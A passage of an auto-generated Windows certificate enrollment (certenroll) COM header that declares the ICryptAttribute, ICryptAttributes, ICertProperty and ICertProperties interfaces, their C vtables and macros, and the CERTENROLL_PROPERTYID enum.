*/\n\n    typedef struct ICryptAttributeVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICryptAttribute * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICryptAttribute * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICryptAttribute * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICryptAttribute * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromObjectId )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromValues )( \n            __RPC__in ICryptAttribute * This,\n            /* [in] */ __RPC__in_opt IX509Attributes *pAttributes);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in ICryptAttribute * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Values )( \n            __RPC__in ICryptAttribute * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Attributes **ppValue);\n        \n        END_INTERFACE\n    } ICryptAttributeVtbl;\n\n    interface ICryptAttribute\n    {\n        CONST_VTBL struct ICryptAttributeVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICryptAttribute_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICryptAttribute_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICryptAttribute_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICryptAttribute_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICryptAttribute_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICryptAttribute_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICryptAttribute_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICryptAttribute_InitializeFromObjectId(This,pObjectId)\t\\\n    ( (This)->lpVtbl -> InitializeFromObjectId(This,pObjectId) ) \n\n#define ICryptAttribute_InitializeFromValues(This,pAttributes)\t\\\n    ( (This)->lpVtbl -> InitializeFromValues(This,pAttributes) ) \n\n#define ICryptAttribute_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define ICryptAttribute_get_Values(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Values(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICryptAttribute_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICryptAttributes_INTERFACE_DEFINED__\n#define __ICryptAttributes_INTERFACE_DEFINED__\n\n/* interface ICryptAttributes */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICryptAttributes;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32d-217d-11da-b2a4-000e7bbb2b09\")\n    ICryptAttributes : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttribute **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICryptAttribute *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IndexByObjectId( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddRange( \n            /* [in] */ __RPC__in_opt ICryptAttributes *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICryptAttributesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICryptAttributes * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICryptAttributes * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICryptAttributes * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICryptAttributes * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttribute **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICryptAttributes * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICryptAttributes * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in_opt ICryptAttribute *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICryptAttributes * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IndexByObjectId )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        HRESULT ( STDMETHODCALLTYPE *AddRange )( \n            __RPC__in ICryptAttributes * This,\n            /* [in] */ __RPC__in_opt ICryptAttributes *pValue);\n        \n        END_INTERFACE\n    } ICryptAttributesVtbl;\n\n    interface ICryptAttributes\n    {\n        CONST_VTBL struct ICryptAttributesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICryptAttributes_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICryptAttributes_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICryptAttributes_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICryptAttributes_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICryptAttributes_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICryptAttributes_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICryptAttributes_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICryptAttributes_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICryptAttributes_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICryptAttributes_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICryptAttributes_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICryptAttributes_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICryptAttributes_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICryptAttributes_get_IndexByObjectId(This,pObjectId,pIndex)\t\\\n    ( (This)->lpVtbl -> get_IndexByObjectId(This,pObjectId,pIndex) ) \n\n#define ICryptAttributes_AddRange(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddRange(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICryptAttributes_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0045 */\n/* [local] */ \n\ntypedef \nenum CERTENROLL_PROPERTYID\n    {\tXCN_PROPERTYID_NONE\t= 0,\n\tXCN_CERT_KEY_PROV_HANDLE_PROP_ID\t= 1,\n\tXCN_CERT_KEY_PROV_INFO_PROP_ID\t= 2,\n\tXCN_CERT_SHA1_HASH_PROP_ID\t= 3,\n\tXCN_CERT_MD5_HASH_PROP_ID\t= 4,\n\tXCN_CERT_HASH_PROP_ID\t= 3,\n\tXCN_CERT_KEY_CONTEXT_PROP_ID\t= 5,\n\tXCN_CERT_KEY_SPEC_PROP_ID\t= 6,\n\tXCN_CERT_IE30_RESERVED_PROP_ID\t= 7,\n\tXCN_CERT_PUBKEY_HASH_RESERVED_PROP_ID\t= 8,\n\tXCN_CERT_ENHKEY_USAGE_PROP_ID\t= 9,\n\tXCN_CERT_CTL_USAGE_PROP_ID\t= 9,\n\tXCN_CERT_NEXT_UPDATE_LOCATION_PROP_ID\t= 10,\n\tXCN_CERT_FRIENDLY_NAME_PROP_ID\t= 11,\n\tXCN_CERT_PVK_FILE_PROP_ID\t= 12,\n\tXCN_CERT_DESCRIPTION_PROP_ID\t= 13,\n\tXCN_CERT_ACCESS_STATE_PROP_ID\t= 14,\n\tXCN_CERT_SIGNATURE_HASH_PROP_ID\t= 15,\n\tXCN_CERT_SMART_CARD_DATA_PROP_ID\t= 16,\n\tXCN_CERT_EFS_PROP_ID\t= 17,\n\tXCN_CERT_FORTEZZA_DATA_PROP_ID\t= 18,\n\tXCN_CERT_ARCHIVED_PROP_ID\t= 19,\n\tXCN_CERT_KEY_IDENTIFIER_PROP_ID\t= 20,\n\tXCN_CERT_AUTO_ENROLL_PROP_ID\t= 21,\n\tXCN_CERT_PUBKEY_ALG_PARA_PROP_ID\t= 22,\n\tXCN_CERT_CROSS_CERT_DIST_POINTS_PROP_ID\t= 23,\n\tXCN_CERT_ISSUER_PUBLIC_KEY_MD5_HASH_PROP_ID\t= 24,\n\tXCN_CERT_SUBJECT_PUBLIC_KEY_MD5_HASH_PROP_ID\t= 25,\n\tXCN_CERT_ENROLLMENT_PROP_ID\t= 26,\n\tXCN_CERT_DATE_STAMP_PROP_ID\t= 27,\n\tXCN_CERT_ISSUER_SERIAL_NUMBER_MD5_HASH_PROP_ID\t= 28,\n\tXCN_CERT_SUBJECT_NAME_MD5_HASH_PROP_ID\t= 29,\n\tXCN_CERT_EXTENDED_ERROR_INFO_PROP_ID\t= 30,\n\tXCN_CERT_RENEWAL_PROP_ID\t= 64,\n\tXCN_CERT_ARCHIVED_KEY_HASH_PROP_ID\t= 65,\n\tXCN_CERT_AUTO_ENROLL_RETRY_PROP_ID\t= 66,\n\tXCN_CERT_AIA_URL_RETRIEVED_PROP_ID\t= 67,\n\tXCN_CERT_AUTHORITY_INFO_ACCESS_PROP_ID\t= 68,\n\tXCN_CERT_BACKED_UP_PROP_ID\t= 69,\n\tXCN_CERT_OCSP_RESPONSE_PROP_ID\t= 70,\n\tXCN_CERT_REQUEST_ORIGINATOR_PROP_ID\t= 71,\n\tXCN_CERT_SOURCE_LOCATION_PROP_ID\t= 72,\n\tXCN_CERT_SOURCE_URL_PROP_ID\t= 73,\n\tXCN_CERT_NEW_KEY_PROP_ID\t= 74,\n\tXCN_CERT_FIRST_RESERVED_PROP_ID\t= 92,\n\tXCN_CERT_LAST_RESERVED_PROP_ID\t= 0x7fff,\n\tXCN_CERT_FIRST_USER_PROP_ID\t= 0x8000,\n\tXCN_CERT_LAST_USER_PROP_ID\t= 0xffff,\n\tXCN_CERT_STORE_LOCALIZED_NAME_PROP_ID\t= 0x1000,\n\tXCN_CERT_CEP_PROP_ID\t= 87\n    } \tCERTENROLL_PROPERTYID;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0045_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0045_v0_0_s_ifspec;\n\n#ifndef __ICertProperty_INTERFACE_DEFINED__\n#define __ICertProperty_INTERFACE_DEFINED__\n\n/* interface ICertProperty */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertProperty;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32e-217d-11da-b2a4-000e7bbb2b09\")\n    ICertProperty : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificate( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PropertyId( \n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_PropertyId( \n            /* [in] */ CERTENROLL_PROPERTYID Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RemoveFromCertificate( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE SetValueOnCertificate( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertProperty * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertProperty * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertProperty * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertProperty * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertProperty * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertProperty * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        END_INTERFACE\n    } ICertPropertyVtbl;\n\n    interface ICertProperty\n    {\n        CONST_VTBL struct ICertPropertyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertProperty_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertProperty_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertProperty_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertProperty_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertProperty_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertProperty_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertProperty_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertProperty_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertProperty_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertProperty_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertProperty_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertProperty_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertProperty_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertProperty_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertProperty_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertProperties_INTERFACE_DEFINED__\n#define __ICertProperties_INTERFACE_DEFINED__\n\n/* interface ICertProperties */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertProperties;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32f-217d-11da-b2a4-000e7bbb2b09\")\n    ICertProperties : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertProperty **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICertProperty *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificate( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertiesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertProperties * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertProperties * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertProperties * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertProperties * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertProperty **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICertProperties * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICertProperties * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ __RPC__in_opt ICertProperty *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICertProperties * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertProperties * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        END_INTERFACE\n    } ICertPropertiesVtbl;\n\n    interface ICertProperties\n    {\n        CONST_VTBL struct ICertPropertiesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertProperties_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertProperties_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertProperties_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertProperties_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) 